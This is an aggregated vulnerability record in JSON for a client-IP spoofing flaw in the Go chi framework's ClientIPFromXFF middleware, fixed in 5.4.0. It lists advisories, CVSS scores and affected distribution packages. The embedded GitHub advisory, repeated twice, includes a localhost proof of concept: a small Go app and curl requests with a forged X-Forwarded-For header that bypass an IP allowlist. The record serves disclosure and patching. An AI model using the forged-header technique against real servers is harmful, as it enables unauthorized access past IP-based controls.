{"id":"CVE-2026-114437","aliases":["DEBIAN-CVE-2026-114437","EUVD-2026-107261","GHSA-7cgw-qmxx-7fc2","GHSA-j6qf-3m9c-vwj3","UBUNTU-CVE-2026-114437","openSUSE-SU-2026:12290-1","openSUSE-SU-2026:22201-1"],"status":"published","title":"Chi Client IP Spoofing in ClientIPFromXFF via X-Forwarded-For","description":"In the Golang Chi web framework, the ClientIPFromXFF middleware skips any X-Forwarded-For entry in a configured trusted CIDR but never verifies that the direct TCP peer in http.Request.RemoteAddr belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by middleware.GetClientIP.\n\nThis issue affects chi before 5.4.0.","severity":{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00129,"percentile":0.02632,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-345","CWE-348"],"published":"2026-10-21T13:52:25Z","modified":"2026-11-01T17:27:07Z","fixes":[{"ecosystem":"Go","package":"github.com/go-chi/chi/v5","fixed_in":["5.4.0"],"sources":["ghsa","osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"hauler","fixed_in":["2.1.2-2.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/go-chi/chi/v5","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"5.3.2"},{"fixed":"5.4.0"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"golang-github-go-chi-chi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["5.0.7-1","5.1.0-1","5.2.0-1","5.2.3-1","5.2.5-1","5.3.0-1"]},{"source":"osv","ecosystem":"Debian:13","package":"golang-github-go-chi-chi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["5.2.0-1","5.2.3-1","5.2.5-1","5.3.0-1"]},{"source":"osv","ecosystem":"Debian:14","package":"golang-github-go-chi-chi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["5.2.0-1","5.2.3-1","5.2.5-1","5.3.0-1"]},{"source":"osv","ecosystem":"Go","package":"github.com/go-chi/chi/v5","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"5.4.0"}]}]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"golang-github-go-chi-chi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.5.1-2","5.0.7-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"golang-github-go-chi-chi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["5.0.7-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"golang-github-go-chi-chi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["5.2.3-1","5.3.0-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"golang-github-go-chi-chi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["5.2.0-1","5.2.3-1"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"hauler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.2-2.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"hauler","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.1.2-bp160.1.1"}]}],"bundled":2}],"products":[{"vendor":"go-chi","product":"chi"}],"references":[{"url":"https://www.tenable.com/security/research/tra-2026-66","tags":["web"]},{"url":"https://github.com/go-chi/chi/security/advisories/GHSA-j6qf-3m9c-vwj3","tags":["advisory","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114437","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-7cgw-qmxx-7fc2"},{"url":"https://github.com/go-chi/chi/pull/1214","tags":["web"]},{"url":"https://github.com/go-chi/chi/commit/7f9b7448f51d28804fac98c0a17bc2a7cec1079f","tags":["web"]},{"url":"https://github.com/go-chi/chi/releases/tag/v5.4.0","tags":["web"]},{"url":"https://github.com/advisories/GHSA-j6qf-3m9c-vwj3"},{"url":"https://pkg.go.dev","tags":["web"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/114xxx/CVE-2026-114437.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-114437","tags":["advisory"]},{"url":"https://github.com/go-chi/chi","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-114437","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-114437","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-114437","tags":["web"]},{"url":"https://bugzilla.suse.com/1285270","tags":["report"]},{"url":"https://bugzilla.suse.com/1287881","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-78669","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2026-114437","title":"Chi Client IP Spoofing in ClientIPFromXFF via X-Forwarded-For","description":"In the Golang Chi web framework, the ClientIPFromXFF middleware skips any X-Forwarded-For entry in a configured trusted CIDR but never verifies that the direct TCP peer in http.Request.RemoteAddr belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by middleware.GetClientIP.\n\nThis issue affects chi before 5.4.0.","status":"published","published":"2026-10-21T13:52:25.617Z","modified":"2026-10-21T17:19:13.809Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium","assessor":"cna"},{"version":"3.1","score":4.8,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-348"],"updated_at":"2026-11-02T13:39:50.160666Z"}],"euvd":[{"id":"EUVD-2026-107261","description":"In the Golang Chi web framework, the ClientIPFromXFF middleware skips any X-Forwarded-For entry in a configured trusted CIDR but never verifies that the direct TCP peer in http.Request.RemoteAddr belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by middleware.GetClientIP.\n\nThis issue affects chi before 5.4.0.","status":"published","published":"2026-10-21T13:52:25Z","modified":"2026-10-21T17:19:13Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T16:59:36.259658Z"}],"ghsa":[{"id":"GHSA-7cgw-qmxx-7fc2","title":"Duplicate Advisory: chi: Client IP spoofing in ClientIPFromXFF via X-Forwarded-For","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-j6qf-3m9c-vwj3. This link is maintained to preserve external references.\n\n## Original Description\nIn the Golang Chi web framework, the ClientIPFromXFF middleware skips any X-Forwarded-For entry in a configured trusted CIDR but never verifies that the direct TCP peer in http.Request.RemoteAddr belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by middleware.GetClientIP.\n\nThis issue affects chi before 5.4.0.","status":"withdrawn","published":"2026-10-21T15:42:31Z","modified":"2026-10-23T20:56:30Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium"},{"version":"3.1","score":4.8,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-348"],"updated_at":"2026-11-02T14:41:35.723785Z"},{"id":"GHSA-j6qf-3m9c-vwj3","title":"chi: Client IP spoofing in ClientIPFromXFF via X-Forwarded-For","description":"### Summary\n\n`ClientIPFromXFF` skips any `X-Forwarded-For` entry in a configured trusted CIDR but never verifies that the direct TCP peer in `http.Request.RemoteAddr` belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by `middleware.GetClientIP`.\n\nThe attack is remote and requires one unauthenticated HTTP request with no user interaction (AV:N/AC:L/PR:N/UI:N). It changes security decisions and exposes one protected handler within the same application (S:U/C:L/I:L); no availability loss was observed (A:N).\n\n**Preconditions:** The application uses `ClientIPFromXFF` and makes the origin server reachable by an anonymous client outside the configured trusted-proxy CIDRs. No victim interaction is required.\n\n1. Send `GET /admin` directly to the origin with no `X-Forwarded-For` header.\n2. Observe a `403 Forbidden` response and an empty derived client IP.\n3. Repeat the request with `X-Forwarded-For: 10.0.0.7, 198.51.100.42`.\n4. Observe `200 OK` and `client-ip=\"10.0.0.7\"`. Expected: the untrusted direct peer prevents the forwarding chain from being accepted.\n\n### Details\n\nThe vulnerable code is `ClientIPFromXFF` in `middleware/client_ip.go`, lines 93-116 at the tested revision. It calls `walkXFF` with only the attacker-controlled header, skips every entry that matches a trusted prefix, and stores the first remaining address:\n\n```go\nwalkXFF(r.Header[xForwardedForHeader], func(v string) bool {\n\tip, ok := parseHeaderAddr(v)\n\tif !ok {\n\t\treturn true\n\t}\n\tif inAnyPrefix(ip, prefixes) {\n\t\treturn false\n\t}\n\tfound = ip\n\treturn true\n})\n```\n\nThe function does not parse `r.RemoteAddr` before this walk. Consequently, the configured CIDRs identify trusted strings inside `X-Forwarded-For`, but do not establish that the immediate sender is one of those trusted proxies.\n\n### Proof of concept\n\nUsing Go 1.24 or later, create and run this minimal application against the tested revision:\n\n```sh\nmkdir chi-clientip-poc\ncd chi-clientip-poc\ngo mod init clientip-poc\ngo get github.com/go-chi/chi/v5@167e1e3bd039d060696b99c8da4e876ae04f42c1\ncat \u003e main.go \u003c\u003c'EOF'\npackage main\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n\n\t\"github.com/go-chi/chi/v5\"\n\t\"github.com/go-chi/chi/v5/middleware\"\n)\n\nconst allowedIP = \"10.0.0.7\"\n\nfunc main() {\n\tr := chi.NewRouter()\n\tr.Use(middleware.ClientIPFromXFF(\"198.51.100.0/24\"))\n\tr.Get(\"/admin\", func(w http.ResponseWriter, r *http.Request) {\n\t\tclientIP := middleware.GetClientIP(r.Context())\n\t\tif clientIP != allowedIP {\n\t\t\thttp.Error(w, fmt.Sprintf(\"denied: tcp-peer=%q client-ip=%q\", r.RemoteAddr, clientIP), http.StatusForbidden)\n\t\t\treturn\n\t\t}\n\t\tfmt.Fprintf(w, \"allowed: tcp-peer=%q client-ip=%q\\n\", r.RemoteAddr, clientIP)\n\t})\n\n\tlog.Print(\"listening on http://127.0.0.1:3001\")\n\tlog.Fatal(http.ListenAndServe(\"127.0.0.1:3001\", r))\n}\nEOF\ngo run .\n```\n\nThe no-header control was rejected:\n\n```console\n$ curl --http1.1 -i http://127.0.0.1:3001/admin\nHTTP/1.1 403 Forbidden\nContent-Type: text/plain; charset=utf-8\nX-Content-Type-Options: nosniff\nDate: Tue, 06 Oct 2026 15:46:27 GMT\nContent-Length: 48\n\ndenied: tcp-peer=\"127.0.0.1:54416\" client-ip=\"\"\n```\n\nAdding the forged chain authorized the same direct client:\n\n```console\n$ curl --http1.1 -i -H 'X-Forwarded-For: 10.0.0.7, 198.51.100.42' http://127.0.0.1:3001/admin\nHTTP/1.1 200 OK\nDate: Tue, 06 Oct 2026 15:46:33 GMT\nContent-Length: 57\nContent-Type: text/plain; charset=utf-8\n\nallowed: tcp-peer=\"127.0.0.1:54417\" client-ip=\"10.0.0.7\"\n```\n\n### Impact\n\nI made an anonymous direct connection from `127.0.0.1`, supplied a header that ended in a different trusted-proxy CIDR, and caused the application to treat my client IP as the allowlisted `10.0.0.7`. This changed the authorization decision from `403 Forbidden` to `200 OK` for the protected handler.","status":"published","published":"2026-10-23T20:56:46Z","modified":"2026-10-23T20:56:47Z","cvss":[{"version":"3.1","score":4.8,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-345"],"updated_at":"2026-11-02T14:41:35.723785Z"}],"nvd":[{"id":"CVE-2026-114437","description":"In the Golang Chi web framework, the ClientIPFromXFF middleware skips any X-Forwarded-For entry in a configured trusted CIDR but never verifies that the direct TCP peer in http.Request.RemoteAddr belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by middleware.GetClientIP.\n\nThis issue affects chi before 5.4.0.","status":"published","published":"2026-10-21T14:17:14.69Z","modified":"2026-10-21T18:17:27.563Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"},{"version":"3.1","score":4.8,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-348"],"updated_at":"2026-11-02T14:13:02.371082Z"}],"osv":[{"id":"CVE-2026-114437","title":"Chi Client IP Spoofing in ClientIPFromXFF via X-Forwarded-For","description":"In the Golang Chi web framework, the ClientIPFromXFF middleware skips any X-Forwarded-For entry in a configured trusted CIDR but never verifies that the direct TCP peer in http.Request.RemoteAddr belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by middleware.GetClientIP.\n\nThis issue affects chi before 5.4.0.","status":"published","published":"2026-10-21T13:52:25.617Z","modified":"2026-11-01T17:27:07.752310306Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-348"],"updated_at":"2026-11-02T15:44:56.310988Z"},{"id":"DEBIAN-CVE-2026-114437","description":"In the Golang Chi web framework, the ClientIPFromXFF middleware skips any X-Forwarded-For entry in a configured trusted CIDR but never verifies that the direct TCP peer in http.Request.RemoteAddr belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by middleware.GetClientIP.  This issue affects chi before 5.4.0.","status":"published","published":"2026-10-21T14:17:14.69Z","modified":"2026-10-23T18:05:35.511168855Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium"}],"updated_at":"2026-11-02T15:45:50.923612Z"},{"id":"GHSA-7cgw-qmxx-7fc2","title":"Duplicate Advisory: chi: Client IP spoofing in ClientIPFromXFF via X-Forwarded-For","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-j6qf-3m9c-vwj3. This link is maintained to preserve external references.\n\n## Original Description\nIn the Golang Chi web framework, the ClientIPFromXFF middleware skips any X-Forwarded-For entry in a configured trusted CIDR but never verifies that the direct TCP peer in http.Request.RemoteAddr belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by middleware.GetClientIP.\n\nThis issue affects chi before 5.4.0.","status":"withdrawn","published":"2026-10-21T15:42:31Z","modified":"2026-10-23T21:15:03.744165797Z","cvss":[{"version":"3.1","score":4.8,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium"},{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium"}],"cwes":["CWE-348"],"updated_at":"2026-11-02T15:46:41.002603Z"},{"id":"GHSA-j6qf-3m9c-vwj3","title":"chi: Client IP spoofing in ClientIPFromXFF via X-Forwarded-For","description":"### Summary\n\n`ClientIPFromXFF` skips any `X-Forwarded-For` entry in a configured trusted CIDR but never verifies that the direct TCP peer in `http.Request.RemoteAddr` belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by `middleware.GetClientIP`.\n\nThe attack is remote and requires one unauthenticated HTTP request with no user interaction (AV:N/AC:L/PR:N/UI:N). It changes security decisions and exposes one protected handler within the same application (S:U/C:L/I:L); no availability loss was observed (A:N).\n\n**Preconditions:** The application uses `ClientIPFromXFF` and makes the origin server reachable by an anonymous client outside the configured trusted-proxy CIDRs. No victim interaction is required.\n\n1. Send `GET /admin` directly to the origin with no `X-Forwarded-For` header.\n2. Observe a `403 Forbidden` response and an empty derived client IP.\n3. Repeat the request with `X-Forwarded-For: 10.0.0.7, 198.51.100.42`.\n4. Observe `200 OK` and `client-ip=\"10.0.0.7\"`. Expected: the untrusted direct peer prevents the forwarding chain from being accepted.\n\n### Details\n\nThe vulnerable code is `ClientIPFromXFF` in `middleware/client_ip.go`, lines 93-116 at the tested revision. It calls `walkXFF` with only the attacker-controlled header, skips every entry that matches a trusted prefix, and stores the first remaining address:\n\n```go\nwalkXFF(r.Header[xForwardedForHeader], func(v string) bool {\n\tip, ok := parseHeaderAddr(v)\n\tif !ok {\n\t\treturn true\n\t}\n\tif inAnyPrefix(ip, prefixes) {\n\t\treturn false\n\t}\n\tfound = ip\n\treturn true\n})\n```\n\nThe function does not parse `r.RemoteAddr` before this walk. Consequently, the configured CIDRs identify trusted strings inside `X-Forwarded-For`, but do not establish that the immediate sender is one of those trusted proxies.\n\n### Proof of concept\n\nUsing Go 1.24 or later, create and run this minimal application against the tested revision:\n\n```sh\nmkdir chi-clientip-poc\ncd chi-clientip-poc\ngo mod init clientip-poc\ngo get github.com/go-chi/chi/v5@167e1e3bd039d060696b99c8da4e876ae04f42c1\ncat \u003e main.go \u003c\u003c'EOF'\npackage main\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n\n\t\"github.com/go-chi/chi/v5\"\n\t\"github.com/go-chi/chi/v5/middleware\"\n)\n\nconst allowedIP = \"10.0.0.7\"\n\nfunc main() {\n\tr := chi.NewRouter()\n\tr.Use(middleware.ClientIPFromXFF(\"198.51.100.0/24\"))\n\tr.Get(\"/admin\", func(w http.ResponseWriter, r *http.Request) {\n\t\tclientIP := middleware.GetClientIP(r.Context())\n\t\tif clientIP != allowedIP {\n\t\t\thttp.Error(w, fmt.Sprintf(\"denied: tcp-peer=%q client-ip=%q\", r.RemoteAddr, clientIP), http.StatusForbidden)\n\t\t\treturn\n\t\t}\n\t\tfmt.Fprintf(w, \"allowed: tcp-peer=%q client-ip=%q\\n\", r.RemoteAddr, clientIP)\n\t})\n\n\tlog.Print(\"listening on http://127.0.0.1:3001\")\n\tlog.Fatal(http.ListenAndServe(\"127.0.0.1:3001\", r))\n}\nEOF\ngo run .\n```\n\nThe no-header control was rejected:\n\n```console\n$ curl --http1.1 -i http://127.0.0.1:3001/admin\nHTTP/1.1 403 Forbidden\nContent-Type: text/plain; charset=utf-8\nX-Content-Type-Options: nosniff\nDate: Tue, 06 Oct 2026 15:46:27 GMT\nContent-Length: 48\n\ndenied: tcp-peer=\"127.0.0.1:54416\" client-ip=\"\"\n```\n\nAdding the forged chain authorized the same direct client:\n\n```console\n$ curl --http1.1 -i -H 'X-Forwarded-For: 10.0.0.7, 198.51.100.42' http://127.0.0.1:3001/admin\nHTTP/1.1 200 OK\nDate: Tue, 06 Oct 2026 15:46:33 GMT\nContent-Length: 57\nContent-Type: text/plain; charset=utf-8\n\nallowed: tcp-peer=\"127.0.0.1:54417\" client-ip=\"10.0.0.7\"\n```\n\n### Impact\n\nI made an anonymous direct connection from `127.0.0.1`, supplied a header that ended in a different trusted-proxy CIDR, and caused the application to treat my client IP as the allowlisted `10.0.0.7`. This changed the authorization decision from `403 Forbidden` to `200 OK` for the protected handler.","status":"published","published":"2026-10-23T20:56:46Z","modified":"2026-10-23T21:15:03.935320289Z","cvss":[{"version":"3.1","score":4.8,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-345"],"updated_at":"2026-11-02T15:46:49.977351Z"},{"id":"UBUNTU-CVE-2026-114437","description":"In the Golang Chi web framework, the ClientIPFromXFF middleware skips any X-Forwarded-For entry in a configured trusted CIDR but never verifies that the direct TCP peer in http.Request.RemoteAddr belongs to that CIDR. A client that can reach the Go server directly can therefore append a trusted-looking proxy address and choose the client IP returned by middleware.GetClientIP. This issue affects chi before 5.4.0.","status":"published","published":"2026-10-21T14:17:00Z","modified":"2026-10-28T20:17:45.574789136Z","cvss":[{"version":"3.1","score":4.8,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium"},{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T16:55:59.591851Z"},{"id":"openSUSE-SU-2026:12290-1","title":"hauler-2.1.2-2.1 on GA media","description":"These are all security issues fixed in the hauler-2.1.2-2.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-10-27T00:00:00Z","modified":"2026-10-28T17:23:13.298000098Z","updated_at":"2026-11-02T16:58:40.245664Z"},{"id":"openSUSE-SU-2026:22201-1","title":"Security update for hauler","description":"This update for hauler fixes the following issues:\n\nChanges in hauler:\n\n- update vendor:\n  * CVE-2026-114437: github.com/go-chi/chi/v5: client IP spoofing in\n    `ClientIPFromXFF` via `X-Forwarded-For (bsc#1287881)\n\n- update to 2.1.2 (bsc#1285270, CVE-2026-78669):\n  * It fixes credential and presigned url leaks, local chart\n    handling, haul formats from `--filename`, and `hauler store\n    copy` with image-type files and cosign bundles. It adds\n    `hauler`, `hauler-dev`, and `hauler@` homebrew casks, and it\n    is the first release published through them. It also bumps go\n    to `1.27.2`.\n","status":"published","published":"2026-10-28T15:26:29Z","modified":"2026-11-01T17:23:31.023551297Z","updated_at":"2026-11-02T16:58:42.426393Z"}]}}